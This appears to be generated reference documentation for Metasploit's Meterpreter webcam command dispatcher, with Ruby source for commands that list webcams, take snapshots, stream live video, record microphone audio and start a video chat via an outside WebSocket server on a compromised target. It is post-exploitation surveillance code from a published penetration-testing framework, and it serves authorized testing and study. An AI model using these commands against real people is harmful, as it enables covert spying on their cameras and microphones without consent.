class Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Webcam

Webcam - Capture video from the remote system

Constants

Klass

Public Instance Methods

cmd_record_mic(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 291
def cmd_record_mic(*args)
  path = Rex::Text.rand_text_alpha(8) + ".wav"
  play = true
  duration = 1

  record_mic_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-d" => [ true, "Number of seconds to record (Default: 1)" ],
    "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ],
    "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
  )

  record_mic_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: record_mic [options]\n")
      print_line("Records audio from the default microphone.")
      print_line(record_mic_opts.usage)
      return
    when "-d"
      duration = val.to_i
    when "-f"
      path = val
    when "-p"
      play = false if val =~ /^(f|n|0)/i
    end
  end

  print_status("Starting...")
  data = client.webcam.record_mic(duration)
  print_status("Stopped")

  if data
    ::File.open(path, 'wb') do |fd|
      fd.write(data)
    end
    path = ::File.expand_path(path)
    print_line("Audio saved to: #{path}")
    Rex::Compat.play_sound(path) if play
  end
  true
end
cmd_webcam_chat(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 127
def cmd_webcam_chat(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  server = 'wsnodejs.jit.su:80'

  webcam_chat_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help banner"],
    "-s" => [ false, "WebSocket server" ]
  )

  webcam_chat_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: webcam_chat [options]\n")
      print_line("Starts a video conversation with your target.")
      print_line("Browser Requirements:")
      print_line("Chrome: version 23 or newer")
      print_line("Firefox: version 22 or newer")
      print_line(webcam_chat_opts.usage)
      return
    when "-s"
      server = val.to_s
    end
  end

  begin
    print_status("Webcam chat session initialized.")
    client.webcam.webcam_chat(server)
  rescue RuntimeError => e
    print_error(e.message)
  end
end
cmd_webcam_list() click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 57
def cmd_webcam_list
  if client.webcam.webcam_list.length == 0
    print_error("No webcams were found")
    return
  end

  client.webcam.webcam_list.each_with_index do |name, indx|
    print_line("#{indx + 1}: #{name}")
  end
end
cmd_webcam_snap(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 68
def cmd_webcam_snap(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
  quality = 50
  view    = true
  index   = 1

  webcam_snap_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
    "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
    "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
    "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
  )

  webcam_snap_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: webcam_snap [options]\n")
      print_line("Grab a frame from the specified webcam.")
      print_line(webcam_snap_opts.usage)
      return
    when "-i"
      index = val.to_i
    when "-q"
      quality = val.to_i
    when "-p"
      path = val
    when "-v"
      view = false if val =~ /^(f|n|0)/i
    end
  end

  begin
    print_status("Starting...")
    client.webcam.webcam_start(index)
    webcam_started = true
    data = client.webcam.webcam_get_frame(quality)
    print_good("Got frame")
  ensure
    client.webcam.webcam_stop if webcam_started
    print_status("Stopped")
  end

  if data
    ::File.open(path, 'wb') do |fd|
      fd.write(data)
    end
    path = ::File.expand_path(path)
    print_line("Webcam shot saved to: #{path}")
    Rex::Compat.open_file(path) if view
  end
  true
end
cmd_webcam_stream(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 163
  def cmd_webcam_stream(*args)
    if client.webcam.webcam_list.length == 0
      print_error("Target does not have a webcam")
      return
    end

    print_status("Starting...")
    stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
    player_path = Rex::Text.rand_text_alpha(8) + ".html"
    duration = 1800
    quality  = 50
    view     = true
    index    = 1

    webcam_snap_opts = Rex::Parser::Arguments.new(
      "-h" => [ false, "Help Banner" ],
      "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
      "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
      "-q" => [ true, "The stream quality (Default: '#{quality}')" ],
      "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
      "-t" => [ true, "The stream player path (Default: #{player_path})"],
      "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
    )

    webcam_snap_opts.parse(args) do |opt, _idx, val|
      case opt
      when "-h"
        print_line("Usage: webcam_stream [options]\n")
        print_line("Stream from the specified webcam.")
        print_line(webcam_snap_opts.usage)
        return
      when "-d"
        duration = val.to_i
      when "-i"
        index = val.to_i
      when "-q"
        quality = val.to_i
      when "-s"
        stream_path = val
      when "-t"
        player_path = val
      when "-v"
        view = false if val =~ /^(f|n|0)/i
      end
    end

    print_status("Preparing player...")
    html = %|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
<script language="javascript">
function updateStatus(msg) {
  var status = document.getElementById("status");
  status.innerText = msg;
}

function noImage() {
  document.getElementById("streamer").style = "display:none";
  updateStatus("Waiting");
}

var i = 0;
function updateFrame() {
  var img = document.getElementById("streamer");
  img.src = "#{stream_path}#" + i;
  img.style = "display:";
  updateStatus("Playing");
  i++;
}

setInterval(function() {
  updateFrame();
},25);

</script>
</head>
<body>
<noscript>
  <h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
</noscript>
<pre>
Target IP  : #{client.sock.peerhost}
Start time : #{Time.now}
Status     : <span id="status"></span>
</pre>
<br>
<img onerror="noImage()" id="streamer">
<br><br>
<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
</body>
</html>
    |

    ::File.open(player_path, 'wb') do |f|
      f.write(html)
    end
    if view
      print_status("Opening player at: #{player_path}")
      Rex::Compat.open_file(player_path)
    else
      print_status("Please open the player manually with a browser: #{player_path}")
    end

    print_status("Streaming...")
    begin
      client.webcam.webcam_start(index)
      webcam_started = true
      ::Timeout.timeout(duration) do
        while client do
          data = client.webcam.webcam_get_frame(quality)
          if data
            ::File.open(stream_path, 'wb') do |f|
              f.write(data)
            end
            data = nil
          end
        end
      end
    rescue ::Timeout::Error
    ensure
      client.webcam.webcam_stop if webcam_started
    end

    print_status("Stopped")
  end
commands() click to toggle source

List of supported commands.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 21
def commands
  all = {
    "webcam_chat"   => "Start a video chat",
    "webcam_list"   => "List webcams",
    "webcam_snap"   => "Take a snapshot from the specified webcam",
    "webcam_stream" => "Play a video stream from the specified webcam",
    "record_mic"    => "Record audio from the default microphone for X seconds"
  }
  reqs = {
    "webcam_chat"   => [ "webcam_list" ],
    "webcam_list"   => [ "webcam_list" ],
    "webcam_snap"   => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
    "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
    "record_mic"    => [ "webcam_audio_record" ]
  }

  all.delete_if do |cmd, _desc|
    del = false
    reqs[cmd].each do |req|
      next if client.commands.include? req
      del = true
      break
    end
    del
  end

  all
end
name() click to toggle source

Name for this dispatcher

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 53
def name
  "Stdapi: Webcam"
end